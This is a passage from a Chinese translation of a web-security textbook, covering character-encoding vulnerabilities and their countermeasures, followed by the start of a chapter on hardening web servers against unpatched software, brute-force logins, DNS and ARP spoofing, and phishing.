GBK 汉字（“誠”字），也就是说输入变成了誠 '，从而导致单引号被保留，进而被用于 SQL 注入攻击。\n要想避免此问题，最根本的解决办法就是统一使用 UTF-8 编码。\nGB18030\nGB18030 是多字节字符集，它的字符可以用一个、两个或四个字节表示。GB18030 编码的各字节分配情况如下表所示。\n表 6-5 GB18030 编码的各字节分配情况\n1 字节字符\n0x00～0x7F\n2 字节字符\n第 1 字节\n第 2 字节\n0x81～0xFE\n0x40～0x7E\n0x80～0xFE\n4 字节字符\n第 1 字节\n第 2 字节\n第 3 字节\n第 4 字节\n0x81～0xFE\n0x30～0x39\n0x81～0xFE\n0x30～0x39\n单字节部分使用了 0x00～0x7F 编码（对应于 ASCII 码的相应码）。\n双字节部分，前置字节码位为 0x81～0xFE，后置字节码位分别是 0x40～0x7E 和 0x80～0xFE。\n四字节部分采用 GB/T 11383 未采用的 0x30～0x39 作为对双字节编码扩充的后缀，这样扩充的四字节编码，其范围为 0x81308130～0xFE39FE39。其中第一、三个字节编码码位均为 0x81～0xFE，第二、四个字节编码码位均为 0x30～0x39。\n从 GB18030 编码的字节分配情况来看，虽然它的一部分字节包含 0x30～0x39 的取值范围，这和 ASCII 的可见部分重合，不过 ASCII 中的该部分字符为阿拉伯数字 0～9，因此并不会导致 5C 问题的发生。唯一可能存在问题的地方是在四字节编码的文字中，前两个字节和后两个字节的取值范围是重合的，这可能会导致前面所说的字符串匹配问题。\n11\n 如果系统不允许有 5 字节以上形式存在的话，为了检查可以先将数据转换为 UTF-16 后再转换回 UTF-8，如果经过两次转换后数据仍和原数据相同的话，就可以认为是正确的编码数据。\n6.4 由字符编码引起的漏洞总结\n前面我们一边介绍字符编码的基本知识，一边对因字符编码引发的系统漏洞的发生原因进行了比较详细的说明。总结一下，我们可以把因字符编码导致的系统漏洞归结为以下 3 种类型。\n1. 字符编码方式中非法数据导致的漏洞\n2. 对字符编码方式处理存在纰漏导致的漏洞\n3. 在不同字符集之间变换导致的漏洞\n字符编码方式中非法数据导致的漏洞\n字符编码方式中非法数据的典型例子是只有前置字节的半个字符，以及 UTF-8 里的非最短形式数据。只有前置字节的半个字符引起的 XSS 漏洞如同我们前面介绍过的那样。UTF-8 的非最短形式数据导致的漏洞的话，比较有名的包括 IIS MS00-05712\n 和 Tomcat 的目录遍历漏洞 CVE-2008-293813\n 等 14\n 。2001 年肆虐一时的 Nimda 蠕虫病毒正是利用了 MS00-057 漏洞的典型代表。\n对字符编码方式处理存在纰漏导致的漏洞\n在处理字符编码的时候，容易发生的 Bug 有很多，典型的例子如我们在前面讲述的“5C”问题。除日本外尤其是使用单字节编码语言的地域开发的软件可能存在着对多字节字符的处理遗漏或者欠缺的情况，这就有可能导致“5C”等漏洞问题的发生。另外，本书里没有介绍的 UTF-7 字符编码方式，也有针对这种编码方式的 XSS 攻击方法，同样也属于对字符编码方式处理欠缺导致的漏洞。\n在不同字符集间变换导致的漏洞\n在将 Unicode 的日元符号“￥”（U+00A5）转换为其他字符集（比如微软标准字符集）的时候，根据处理方法不同有可能会将其转换为反斜线“\\”，这也是不同的字符集之间的变换导致的漏洞。在 4.4 节里介绍过的 JVN#5974872315\n 也是由这种原因引起的问题。\n到目前为止，我们已经对字符编码处理中常见的引发系统漏洞的原因进行了说明，从下一节开始我们将讲述一下如何正确处理字符编码。\n12\nhttp://technet.microsoft.com/en-us/security/bulletin/ms00-057\n13\nhttp://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2938\n14\n Tomcat Security Team 认为这并不是 Tomcat 的问题而是 JRE 的问题。\n15\nhttp://jvn.jp/jp/JVN59748723/index.html\n6.5 如何正确处理字符编码\n要想正确地处理字符编码问题，需要遵循下面 4 条要求。\n在应用内使用统一的字符集\n输入非法数据时报错并终止处理\n处理数据时使用正确的编码方式\n输出时设置正确的字符编码方式\n如果把这 4 项整理到一起的话，如图 6-20 所示。\n图 6-20 正确处理字符编码的要点\n下面开始分别对这几项进行详细说明。\n在应用内使用统一的字符集\n即使抛开安全性来说，也应该在全系统内统一所使用的字符集。如果系统中存在不同的字符集，且要转换的目标字符集不存在原字符集的字符的话，就会出现乱码问题。\n现在的 OS、编程语言、数据库等系统软件都能够支持 Unicode，所以可以说如果 Web 应用也都统一使用 Unicode 的话将是最安全的。\n不能统一使用 Unicode 的事例\n如果将应用系统的字符集统一成 Unicode 的话，那么在不支持 Unicode 的设备上就会出现问题。典型的例子有下面两个。\n手机浏览器 16\n电子邮件\n由于大多数手机浏览器中只支持 Shift_JIS 编码方式 17\n ，发送邮件的时候字符编码主流也是 ISO-2022-JP，所以这两种情况都很难统一使用 Unicode 字符编码方式。\n面向手机 Web 应用中字符编码的处理方法\n面向手机的 Web 应用程序中，典型的处理字符编码的 方法一般如图 6-21，在应用程序的外部（HTTP 消息）使用 Shfit_JIS 编码方式，在应用内部使用 UTF-8 或者 UTF-16，在输入输出时在两种编码方式之间相互转换。\n图 6-21 面向手机 Web 应用的字 符编码设置\n输入的时候从 Shfit_JIS 转换为 UTF-8 没什么问题。在编码转换后，会使用变换后的数据进行输入值检查、转义等处 理，假如这时候即使发生乱码的问题，之后也还会使用乱码后的数据进行转义等进行数据复原。\n但是，输出时从 UTF-8 转换为 Shift_JIS 的时候，有可能出现日元符号（U+00A5）变成反斜线（0x5C）的问题。输出时进行编码转换之所以会发生问题，如图 6-21 所示，是因为在进行转义处理后字符集已经改变了，编码转换后可能出现需要进行转义而没有进行转义的字符。\n但是如果原来输入的数据全是 Shfit_JIS 编码格式的话，因为不会输入 Shfit_JIS 编码里不存在的字符，所以不会发生任何问题 18\n 。\n另一方面，如果数据库里保存的是类似 U+00A5 这样 Unicode 的固有的字符的话，可以预先进行一遍 UTF-8 → Shift_JIS → UTF-8 的编码转换过程。笔者把这种方法叫作“字符集降级处理”。通过字符集降级处理让可能出现的乱码的问题提前出现，在此基础上再进行转义等处理，就可以防止由于字符集转换导致的各种问题的发生。图 6-22 显示了这种处理的大概流程，图中的处理顺序很重要。如果在对输入进行转义处理之前不先做字符集降级处理的话，就有可能导致系统出现漏洞。\n图 6-22 字符集降级处理\n电子邮件中字符编码的处理方法\n长时间以来，日语邮件中的字符编码几乎都是 ISO-2022-JP。但是最近能处理 UTF-8 编码的邮件客户端正在增加 19\n 。\n在应用程序内部使用 Unicode 编码，在发送邮件的 时候进行 ISO-2022-JP 编码转换，如果邮件中存在 ISO-2022-JP 不支持的字符的话，就会出现乱码。但是在笔者的调查中，这并不会导致系统在安全上出现什么漏洞。其原因在于如果在邮件处理（MIME 编码等）开始之前进行 ISO-2022-JP 编码，和邮件处理中必须要注意的可能在安全上出问题的回车换行等字符，在任何字符编码里都是共通的。\n所以在收发电子邮件的时候，可以认为不会发生由字符编码导致的安全漏洞。\n输入非法数据时报错并终止处理\n如同 4.2 节里讲到的那样，在进行输入检查的时候如果发现了输入字符中存在非法编码数据的话，就立即报错并终止继续处理是一个比较好的处理方法。我们可以认为字符编码数据的正确性是应用程序正常运行的基本前提。\n在现代 Web 程序开发用的高级语言中，Java 和 ASP.NET（C# 或者 VB.NET）会对输入数据进行字符编码的变换，在这个过程中如果发现了非法的编码数据的话，会用替换字符（Replacement Character、U+FFFD）来替换非法字符。\nPerl（版本 5.8 以上）的话，可以通过调用 decode\n 来实现类似的功能，在将数据转换为内部形式时进行非法字符编码数据的替换工作。\nPHP 的话则没有这种非法字符编码数据自动替换功能，但是我们可以像 4.2 节里讲的那样，可以调用 mb_check_encoding\n 来检查输入数据的字符编码。\n处理数据时使用正确的编码方式\n要想正确的进行字符编码处理，需要遵循下面的原则。\n只使用对应多字节字符的函数和实现\n在函数的参数中明确设置编码方式\n下面分别说明这两个原则。\n只使用对应多字节字符的函数和实现\n为了正确地进行字符编码操作，需要使用多字节版本的实现及函数。Java、.NET、Perl（版本 5.8 或更新）的话没有特别需要注意的，但是 PHP 从语言本身的话并没有支持多字节字符，所以需要遵循下面的要求。\n源代码需要用 UTF-8（推荐）或者 EUC-JP 的编码方式保存\n将配置文件 php.ini 的 mbstring.internal_encoding 设置为与源代码文件的编码一致\n原则上所有字符串操作都是用 mbstring 系列版本的函数（即使不太可能出现非英语字符的时候也一样遵循此原则）\n在函数的参数中明确设置编码方式\n这个原则主要也是在使用 PHP 时需要注意的。在调用 mbstring 系列的函数时如果不显式指定编码方式的话，会使用 php.ini 文件里设置的 mbstring.internal_encoding 值进行处理。但是像 htmlspecialchars\n 这样的函数则不会使用 mbstring.internal_encoding 作为默认值进行处理，需要调用的时候手工设置字符编码方式。\n专栏：调用 htmlspecialchars 函数时必须指定字符编码方式\n一直以来很多 PHP 的入门书籍都宣称在使用 htmlspecialchars\n 时可以不用指定字符编码方式，其实这种认识是错误的。老版本的 htmlspecialchars\n 函数在字符编码方面的检查不是非常充分，这种说法只不过是一种广泛传播的误解。最新版本的 htmlspecialchars\n 函数已经加强了字符编码方面的检查，通过指定字符编码，可以使系统的安全性更上一层。\n输出时设置正确的字符编码方式\n在下面几种情况下，需要在输出时手工进行编码方式设置。\n正确设置 HTTP 返回头的 Content-Type 里的编码方式（请参考 4.3 节）\n正确设置数据库的字符编码方式（请参考 4.4 节）\n在所有需要设置字符编码方式的地方设置编码方式\n下面分别对这几项进行说明。\n正确设置 HTTP 返回头的 Content-Type 里的编码方式\n虽然本书里没有涉及此部分内容，但是如果在 HTTP 返回头中的 Content-Type 里设置一个不正确的编码方式的话，就可能发生浏览器将文件内容误认为 UTF-7 编码进行解析，从而出现 XSS 漏洞的风险。这里所说的“正确设置”，是指设置一个浏览器能理解的字符编码方式的意思。如果是处理日语的话 20\n ，那么编码方式应该是下面三种方式之一。注意下面的编码方式中下划线和中划线的区别。\nUTF-8（推荐）\nShift_JIS（只用在面向手机的 Web 网站的情况下）\nEUC-JP\n正确设置数据库的字符编码方式\n数据库的字符编码方式设置也会给系统安全性带来影响。在数据库中有下面几个地方可以进行编码方式的设置（根据数据库不同设置场所也不同）。\n保存时的编码方式（可以以列、表、数据库为单位进行设置）\n数据库内处理时使用的编码方式\n连接到数据库引擎时使用的编码方式\n不管在哪里进行设置，都推荐统一使用 Unicode 的编码方式，即 UTF-8 或者 UTF-16。\n通过“尾骶骨测试”来确认数据库编码方式是否正常工作\n21\n下面简单介绍下如何确认整个数据库是否正确的设置为了 Unicode 编码了，这就是将“尾骶骨”三个字录入数据库，然后在页面上确认这几个字是否能正常显示出来。如果“尾骶骨”能正常显示的话，那么就说明数据库中的 Unicode 设置能正常工作。如果显示出来的是“尾〓骨”或者“尾 骨”的话，那么就要怀疑是不是处理的哪一环节中出现 Shift_JIS 或者 EUC-JP 了。笔者将这种测试方法叫作“尾骶骨测试”。\n“尾骶骨”中的“骶”字（U+9AB6）是 JIS X 0208 中不存在的汉字（JIS 第 3 基准汉字），所以这个词汇非常适合做数据库编码设置检查的测试用例。\n在所有需要设置字符编码方式的地方设置编码方式\n根据应用程序中所使用的编程语言或者第三方库的不同，可能在文件读写、邮件发送等时候都能够手工设置编码方式。这时候需要对所有的可以设置字符编码方式的地方都要进行确认，根据实际情况设置正确的编码方式。\n其他对策：尽量避免编码自动检测\n根据所使用编程语言的不同，有的语言能支持对 HTTP 请求的编码方式进行自动判断功能（PHP、Java、Perl 等），但是基于以下原因，不建议使用字符编码自动检测功能。\n在只考虑到 Shfit_JIS 的应用程序中，如果输入数据中混有 Unicode 的 U+00A5 的话，则在经过转义处理后再转换为 Shfit_JIS 编码的话，有可能 U+00A5 会被错误转换为 0x5C（反斜线），导致发生系统漏洞。\n如果字符编码方式自动检测存在缺陷的话会导致判断结果不正确，从而发生乱码等现象。\n所以要尽量避免使用输入数据的自动编码检测功能，而是通过手工显式地进行编码方式设置。\n16\n 此处手机指的是功能机。现在的智能机上的浏览器几乎都支持 Unicode。——译者注\n17\n 最近虽说有一些手机浏览器已经开始支持 UTF-8 编码了，但是 2010 年 12 月以前 au/KDDI 的主页上明确要求使用 Shift_JIS 编码，不能使用 UTF-8。\n18\n 输入字符编码自动选择的时候则存在混入 U+00A5 等 Shift_JIS 中不存在的字符的风险。\n19\n 手机上的邮件客户端也能处理 UTF-8 编码的邮件了。据说这是为了支持 iPhone 的邮件客户端在特定的条件下发送的 UTF-8 编码的邮件。\n20\n 中文一般使用的编码方式为：UTF-8、GB2312 和 GBK。——译者注\n21\n 此测试不适用于中文。中文的乱码问题不像日语那么复杂。——译者注\n6.6 总结\n本章主要讲述了字符编码的处理对安全性的一些影响。\n在 Web 应用程序开发时经常会出现汉字乱码问题，几乎每个人都曾经遇到过。发生乱码的原因都是因为字符编码的处理或者设置不正确导致的。字符编码除了会导致乱码问题外，还可能会引发安全漏洞的出现。\n像这样由于字符编码处理不当导致的漏洞绝对不是什么小概率事件。具体到如何去做，我们可以从最常见的乱码问题开始着手。比如可以先按照下面的步骤进行处理。\n发现非法的编码数据终止处理，或者用 U+FFFD 替换\n确认“表”或者“ソ”、“能￥”等是否能正确保存和显示\n是否能通过尾骶骨测试\n由字符编码引起的漏洞经常被用在网络攻击中，比如蠕虫病毒 Nimda 就是利用了漏洞 MS00-057 的一个例子。\n对策汇总\n应用全体统一使用 Unicode\n输入数据非法时报错并终止处理\n处理数据时使用正确的编码方式\n输出时设置正确的字符编码方式\n第 7 章 如何提高 Web 网站的安全性\n本章我们将主要探讨一下除了应用程序以外，我们还能采取哪些手段来提高网站整体的安全性。首先，我们会介绍一下 Web 网站攻击的概况，然后再针对各种攻击手法，对基础软件（中间件）漏洞、伪装攻击、网络监听、网络篡改，以及恶意软件等漏洞或攻击行为的对策进行说明。\n在进行详细介绍之前，我们先总结一下来自 Web 网站外部的攻击都有哪些，如图 7-1 所示。\n图 7-1 针对 Web 网站的外部攻击\n像上图显示的那样，除了应用程序本身以外，攻击者还有很多其他途径可以发动攻击，如果不预防这些潜在威胁的话，光靠编写安全的程序是不能 100% 保证 Web 网站的安全性的。本章将把这些应用程序以外的攻击分为以下几类，并分别介绍针对这些攻击可以采取的对策。\n针对 Web 服务器的攻击\n伪装攻击\n网络监听、网络篡改\n恶意软件\n7.1 针对 Web 服务器的攻击途径和防范措施\n如果只是在 Web 应用程序里面清除了潜在安全隐患的话，并不足以保证系统的绝对安全性。除了应用程序，还要确保像 Web 服务器（包括 PHP 或 Servlet 容器等中间件）等基础软件的安全性。本章将先介绍一下针对 Web 服务器的攻击手段，然后再阐述如何对其进行防御。\n7.1.1 利用基础软件漏洞进行攻击\n操作系统及 Web 服务器等软件也会存在漏洞，Web 服务器有可能因为这些基础软件的漏洞导致被入侵。另外如果 Web 服务器中还存在跨站脚本攻击（XSS）漏洞的话，则有可能导致发生被动攻击从而进一步对用户造成侵害。\n利用了基础软件漏洞的攻击会导致各种次生灾害发生，比如网站被篡改、信息泄露、拒绝服务，或者被用来当作跳板进而发动对其他服务器的攻击等。\n7.1.2 非法登录\n网络上有很多针对管理 Web 服务器用的软件（Telnet、FTP、SSH 等服务器软件，以及 phpMyAdmin 或者 Tomcat 的管理页面）密码进行暴力破解的攻击。攻击者事会先对服务器进行端口扫描来确认哪些端口或是服务是开放的，然后针对开放的端口或者服务进行基于字典的暴力破解攻击。\n如果管理服务器用的密码被破解的话，会造成网站内容被篡改或信息泄露等各种重大问题。\n7.1.3 对策\n为了预防针对 Web 服务器的攻击，可以采取以下的对策。\n停止运行不需要的软件\n定期实施漏洞防范措施\n对不需要对外公开的端口或者服务加以访问限制\n提高认证强度\n下面分别对这几项加以说明。\n停止运行不需要的软件\n在 Web 服务器上同时运行的那些不需要对外提供服务的软件，很可能会成为外部攻击的入口。而且这些不对外提供服务的软件也需要进漏洞防范措施等，会产生运营成本。所以停止运行这些不必要软件，既能降低成本，也能使系统更安全。\n定期实施漏洞防范措施\nWeb 服务器软件及编程语言等基础软件也需要实行漏洞预防措施。应对 Web 服务器的漏洞可以按照下面的步骤实施。\n前期设计时应该考虑的事情\n确认软件支持期限\n决定打补丁（升级）的方法\n运营开始后需要做的事情\n随时关注漏洞发布信息\n漏洞出现后调查补丁状况以及防范对策、并制定对应计划\n执行漏洞对应计划\n选定软件时确认软件的升级状况\n作为软件漏洞对策，可选取的方法有打补丁和版本升级两种。需要注意的是，很可能在网站运营期间，就出现所选用的软件停止开发或更新的情况。\n有的商用软件公司会通过软件支持生命周期政策（Support Lifecycle Policy）的形式公布软件的支持期限。比如微软的服务端产品都会保证在新版本出来之后 7 年内继续提供系统补丁 1\n 。不同软件公司及不同的产品，其所能提供的软件支持生命周期政策长短也各有不同，需要在选择某一产品之前确认清楚。\n免费软件和开源软件（FLOSS）则很多都没有公布具体的软件支持生命周期政策，这一点尤其要注意。在选择 FLOSS 作为基础软件的时候，可以通过查看该软件过去的升级记录，来预测未来软件是否能得到可靠的保障。\n下图显示了各 PHP 的主要版本支持情况。从图中可以看出，PHP4.x 系列的支持期限为从 PHP5 发布开始，在 3 年半之内都会提供技术支持。\n图 7-2 各 PHP 主版本的支持期限\n如上图显示的那样，PHP 的版本升级还是很活跃的。而另一方面，旧版本的支持期限都比较短，如果在网站运维中所使用的 PHP 版本不被官方支持了，就会带来安全上的隐患。不光是 PHP，所有使用了 FLOSS 的都需要考虑到这一问题。\n综上所述，如果基础软件选择 FLOSS 的话，需要在系统开发前期就预测到 Web 网站在运维阶段可能会发生的软件版本升级的可能性，并针对迁移到新版本所需要的费用进行运维上的预算。\n确定打补丁方式\n在选择基础软件的时候，最好同时也确定给软件进行打补丁的方法。基本上给软件打补丁可以采用下面的方法。\n重新安装最新版本的软件\n在源代码级别打补丁后再编译（Make）\n使用系统提供的包管理软件（APT 或者 Yum 等）\n使用补丁软件（Windows Update 或者 WSUS 等）\n打补丁的方法也受软件安装方法的影响。比如在使用包管理系统安装的软件，打补丁也需要通过包管理软件来完成。通过其他方法安装的软件，可以进行单独打补丁后编译，或者安装新版软件的方法。\n此外，像 PHP 等编程语言版本升级后，由于语言本身的规范有可能会有变更，所以就可能会导致系统运行异常。因此在版本升级前需要确定升级的影响范围，并对应用程序进行全面的功能测试。\n利用包管理系统打补丁的时候，由于不会修改软件本身的规格，而只是打上 Bug 或漏洞修复补丁，所以由此导致应用程序不能正常工作的可能性比较低。与之相对应的，包管理系统提供的软件的版本一般都会比最新的版本稍微旧一些。但是根据 Linux 的发行版本不同，也有的包管理系统都会提供最新版本的软件（Fedora 等）。\n可见，上述所说的给软件打补丁的方法各有利弊，软件的安装方法不同，打补丁的方式也不同。这就需要在选定某一软件的时候，要同时确认软件的安装方法以及打补丁的方法。\n下面是在本书附带的漏洞系统镜像系统（请到本书的支持页面下载：http://www.ituring.com.cn/book/1249\n ）里进行软件升级的例子。apt-get 命令是 Ubuntu 或 Debian 等 Linux 发行版本采用的包管理程序 APT 的一个命令。带有下划线的部分是需要在命令行输入的命令。\n执行示例 在漏洞系统镜像系统里进行软件升级的例子\nFedora 以及 CentOS、Red Hat Enterprise Linux 等 Linux 发行版本都采用 Yum 作为包管理系统。关于包管理系统的详细说明请参考关于 Linux 的书籍。\n关注各种漏洞相关信息\n每天都会有各种系统漏洞被发现，每天也都会公开应对的方法或者安全补丁。为了保证 Web 网站的安全性，需要关注各种相关软件的漏洞信息，并实时采取对应措施。\n各种漏洞信息一般会通过 Web 站点或者邮件列表公布。在 Web 应用开始运营之前，就需要确定如何收集这些软件漏洞信息，建立能及时监视这些漏洞信息的体制。\n下面列举了一些发布漏洞信息的权威网站。除了关注应用程序所采用软件的漏洞信息之外，最好也能对这些网站保持关注。2\nJVN（Japan Vulnerability Notes）\nhttp://jvn.jp\nJVN iPedia 漏洞信息数据库\nhttp://jvndb.jvn.jp/\n不管哪个网站都提供了 RSS 订阅功能。订阅了这些 RSS 的话，将对及时获取各种信息有很大帮助。\n确认漏洞后调查补丁状况以及防范对策、并制定对应计划\n在确认漏洞信息之后，按照如下步骤制定漏洞对应计划。\n1. 是否在使用存在漏洞的软件\n2. 确认此漏洞导致的影响，讨论是否需要针对此漏洞采取应对措施\n3. 决定应对方法\n4. 制定详细的实施计划\n前面两步主要讨论是否有对此漏洞采取应对措施的必要性，有时候会很难判断漏洞是否会给系统带来影响，这时候可以采取只要系统使用着出现漏洞的软件，一律打补丁、升级。\n漏洞的应对方法，有以下 3 种方式。\n安装修正程序或安全补丁（根本性解决方法）\n升级到解决了漏洞的新版本（根本性解决方法）\n采取回避对策（临时措施）\n这里所说的回避对策，是指通过采取修改配置等方法来达到系统不受漏洞影响的目的。回避措施一般是在安全补丁还没有公布，或者补丁的可靠性没有得到验证而不能打入补丁等情况下，作为临时措施来施行。\n在实施计划中，需要确定以下事项。\n在测试环境验证（是否需要重启服务器，应用程序是否正常运行，切换回老系统方法的确认）\n实施日程表\nWeb 网站停止服务公告\n服务器的备份步骤\n实施项目的详细化\n实施后验证方法的详细化\n创建实施步骤及检查表（Check List）\n上面描述的是一个比较完整的实施计划。如果现实情况允许短时间停止 Web 服务器，则可以省略在测试环境上的验证步骤，而直接在正式环境下打补丁。此外，还可能存在不能准备测试环境的情况。不管哪种情况，都需要在打补丁之前进行完整的备份，以防打补丁后发生系统故障。\n执行漏洞对应计划\n制订了漏洞应对计划后，只要按计划执行就可以了。\n打补丁或者版本升级结束之后，需要记录工作记录，同时在系统环境构成表（系统架构说明文档）里修改更新过的各模块，记录相关软件的最新版本等信息。\n1\nhttp://www.microsoft.com/japan/presspass/detail.aspx?newsid=1932\n （参考日期：2010 年 12 月 4 日）\n2\n 常用的中文和英文网站有：\nWooYun（国内）：http://www.wooyun.org/\nSecurityFocus（国外）：http://www.securityfocus.com/\nNational Vulnerability Database（国外）：http://nvd.nist.gov/\n ——译者注\n对不需要对外公开的端口或服务加以访问限制\nSSH 服务（sshd）或 FTP 服务作为对服务器进行管理的常用软件，不能随意停止其服务运行，但是可以通过增加对这些服务的访问限制，来提高系统的安全性。\n即使不是有名的网站，只要接入到网络中，SSH 或 FTP 等端口也会受到来自世界各地的攻击。对这些端口加以访问上的限制，可以有效的抵御这种无差别攻击。具体的方法有下面两种。\n只允许来自专线或者 VPN 的连接\n只允许来自指定 IP 的访问\n其中限定 IP 的方法有下面几种。\n在网络入库的路由或者防火墙上进行 IP 限制设置\n利用服务器 OS 自带的功能（Windows 防火墙，或者 iptables、TCP Wrapper 等）进行 IP 限制\n利用软件自身的访问限制功能\n下面的例子是使用 TCP Wrapper 来限制只有本地网络才能访问 sshd 服务的例子。首先在 /etc/hosts.deny 文件里禁止所有的访问请求，之后在 /etc/hosts.allow 文件里设置允许来自本地网络的访问请求。在需要通过网络进行系统维护的时候，最好使用固定 IP 访问服务器，并在服务器里对访问 IP 进行限制，这是非常安全的方法。\n执行示例 使用 TCP Wrapper 对 sshd 进行访问限制设置\n如果出口 IP 不是固定 IP 的话，建议在最小范围内限制能访问服务器的 IP。笔者由于需要在公司外面对 Web 服务器进行远程维护，所以我在配置文件里指定了 ISP 的域名，来设置能访问服务器的远程连接请求（图中 ISP 的域名为非真实域名）。\n通过查看服务器的日志（/var/log/secure）可以发现，针对 SSH 服务器的大部分攻击都是来自国外的 IP 地址，所以上面的设置能遮断大部分的攻击请求。尽管如此，也还是存在绕过 IP 地址限制的可能性的，这个问题可以请参考后面的关于强化认证功能的章节。\n通过端口扫描确认各端口服务状态\n可以通过端口扫描工具来方便的验证访问限制是否有效。下面的图 7-3 就是使用端口扫描工具 Nmap3\n （Windows 版）对本书附带的 Linux 镜像进行端口扫描的结果（默认设置时的结果）。Nmap 是有名的端口扫描工具，而且是一个开源软件。\n图 7-3 端口扫描\n从上图可以看出，这个系统一共运行着 SSH、SMTP、HTTP、POP3 等 4 种服务 4\n 。这其中 SSH 是不需要对外部公开的端口，所以需要按照前面介绍过的方法进行访问上的限制。\n此服务器内同时还运行着 PostgreSQL 服务，但是 Nmap 的扫描结果并没有显示出来。这说明 PostgreSQL 不会接受来自外部的连接请求。\n下面图 7-4 显示的则是对笔者个人研究用的 Windows Server 进行端口扫描的结果。\n图 7-4 对笔者的研究用服务器进行端口扫描的结果\n笔者这台研究用服务开着很多端口接受来自外部的连接请求，如果这样的状态直接接入公网的话，是非常危险的。然而根据笔者进行安全咨询的经验，像这样开着很多端口的服务器还是时不时地能见到的。\nWeb 网站在运营时需要提供哪些服务，开放哪些端口，最好在前期设计的时侯就设计好，然后在系统投入运营之前，利用端口扫描等工具进行开放端口检查 5\n 。\n3\nhttp://nmap.org/\n4\n 443 端口为 HTTPS 所使用，Nmap 的画面上都显示为 HTTP。\n5\n 端口扫描要检查的是对外部网络访问开放的端口，需要使用接入到外网环境进行扫描。\n提高认证强度\n前面已经说过，系统管理用的软件应该对访问来源的 IP 地址进行严格的限制，然而这是不够的，还需要加强管理用软件的用户认证强度。具体可以采取以下措施。\n删除或者停止 Telnet 和 FTP 服务，只使用 SSH 服务\n在 SSH 服务中使用公钥认证方式来代替密码认证\n说起 Telnet 和 FTP 的问题，一般人都会想到到非加密通信，然而笔者认为最大的问题应该是没有采用高强度的认证方式。像之前说到的那样，针对 Telnet、FTP、SSH 等的密码暴力破解攻击一直存在。即使使用了 SSH，在采用用户 / 密码作为认证方式这一点上，SSH 和 Telnet 等并没有太大的差异，强烈建议使用公钥认证方式。\n7.2 防范伪装攻击的对策\n网站伪装攻击也是 Web 网站的常见威胁之一。网站伪装是指攻击者将准备好的攻击网站通过一定手段伪装成正规网站，诱骗用户访问。通过网站伪装攻击，可以达到篡改正规网站内容，或者盗取用户信息的目的。本节将先对网站伪装的常见方法进行说明，然后再讲述如何防范网站伪装攻击。\n网站伪装主要有两种方法，一种是网络级别的伪装，一种是只复制网站外观的钓鱼方式。\n7.2.1 网络伪装的手段\n本节将主要针对网络级别的伪装攻击进行说明，我们将通过以下这些曾经在网络上公开报道的真实事例来介绍。\n针对 DNS 服务器的攻击\nARP 欺骗攻击\n针对 DNS 服务器的攻击\n针对对 DNS 服务器的攻击主要有以下几种类型。\n通过发动对 DNS 服务器的攻击来替换 DNS 的配置\nDNS 缓存污染攻击\n购入已过期域名做非法之用\n就在本书的编写期间，2010 年 11 月丹麦的著名安全公司 Secunia 的网站（http://secunia.com/\n ）发生了 DNS 内容被改写的事故 6\n ，致使用户访问了被攻击者替换后的内容。这次攻击虽然没有带来很大的损失，但是如果攻击者想做的话，可以通过放出虚假的漏洞信息来诱骗用户下载伪装为正规防病毒软件的恶意软件，不难想象这将会带来非常大的损失。\n6\nhttp://secunia.com/blog/153/\n （参考日期：2010 年 11 月 28）\nDNS 缓存污染攻击则是指向用户使用的 DNS 缓存服务器不停的发送查询请求，然后抢在 DNS 缓存服务器的应答到来之前，向客户端发送伪装的应答。这样客户端得到的 Web 服务器的 IP 就是攻击者准备的伪装服务器的 IP 地址了。这之后，用户就开始和伪装网站进行通信了。\n关于如何去防范针对 DNS 服务器的攻击，我们将在 7.2.3 节里进行说明。\n专栏：VISA 域名问题\n“VISA 域名问题”是一个众所周知的失效域名问题的例子。\n原本 VISA.CO.JP 的域名是由域名管理商 E-ONTAP.COM 负责解析的，但是后来 E-ONTAP.COM 破产了，所以 E-ONTAP.COM 这个域名也就失效了，变成了任何人都可以申请的状态。但是这时候 VISA.CO.JP 的第二域名服务器还是指向 E-ONTAP.COM 的域名服务器，没有做任何修改。\n如果是有人恶意买入了 E-ONTAP.COM 域名的话，就可以利用其对 VISA.CO.JP 域名的解析权去做非法的事情了，还好中京大学的副教授铃木常彦意识到了这个问题后买入了这个域名，最后没有发生事故。\nVISA 域名问题虽然说是域名管理企业的域名失效导致的问题，但是现实中也存在自己的域名过期失效后被第三者买入的实例。建议在公司级别上指定针对域名管理的相关规定，比如指定专门的域名管理人员，决定好如何交接等问题。\nARP 欺骗攻击\nARP 欺骗是指通过发送伪造的 ARP（Address Resolution Protocal）应答，以达到伪装成其他 IP 地址的目的。利用 ARP 欺骗进行网站伪装攻击时，当被攻击服务器向网络发送网关 IP 地址的 MAC 请求（ARP 请求）时，攻击者会抢先返回伪造的 ARP 应答，来冒充网关，从而截获所有与服务器的通信内容。ARP 欺骗攻击有一个限制条件，就是要和被攻击服务器在同一物理网段内。\n2008 年 6 月某著名网站托管企业的数据中心发生的安全事故，就是由于 ARP 欺骗攻击导致的攻击案例。在此次事故中，托管中的一台服务器由于感染了恶意软件，从而导致了同一网段内发生了 ARP 欺骗攻击。由于被攻击的服务器内容里被加入了 iframe 内容，进而又导致了查看了被攻击网站网页的用户也被感染了恶意软件。\n关于防范 ARP 欺骗攻击的对策，我们将在 7.2.3 节里进行说明。\n7.2.2 钓鱼攻击\n钓鱼（Phishing）是指创建一个和原网站非常像的网站，然后通过邮件等发送链接，诱骗用户访问这个假网站并让用户在假网站上输入用户名、密码或其他个人信息，从而达到收集个人信息的目的。钓鱼比起网络级别的伪装（DNS 攻击或者 ARP 欺骗攻击）来说显得技术含量不是很高，但是经常有用户上当遭受损失。在日本也经常出现一些复制著名二手货交易网站或者 SNS 网站的钓鱼网站。\n钓鱼攻击原则上和正规网站没有什么直接关系，但每个网站的用户都有可能被钓鱼网站欺骗。尽管预防钓鱼网站还主要靠用户自己来防范，但是作为网站方面，也应该采取一定的措施来帮助用户预防钓鱼网站。具体的内容我们将会在下一节进行说明。\n7.2.3 Web 网站的伪装攻击对策\n防范针对 Web 网站的伪装攻击，可以采取下面的措施。\n网络层的对策\n使用 SSL/TLS\n使用便于记忆的域名\n下面按顺序对这几项进行说明。\n网络层的对策\n在 7.2.1 节里我们已经说过，网络层的伪装攻击主要通过 ARP 欺骗攻击和对 DNS 服务器的攻击来进行。虽然完全抵御这些攻击比较困难，但我们还是可以采取如下措施的。\n同一网段内不放置可能存在漏洞的服务器\n由于 ARP 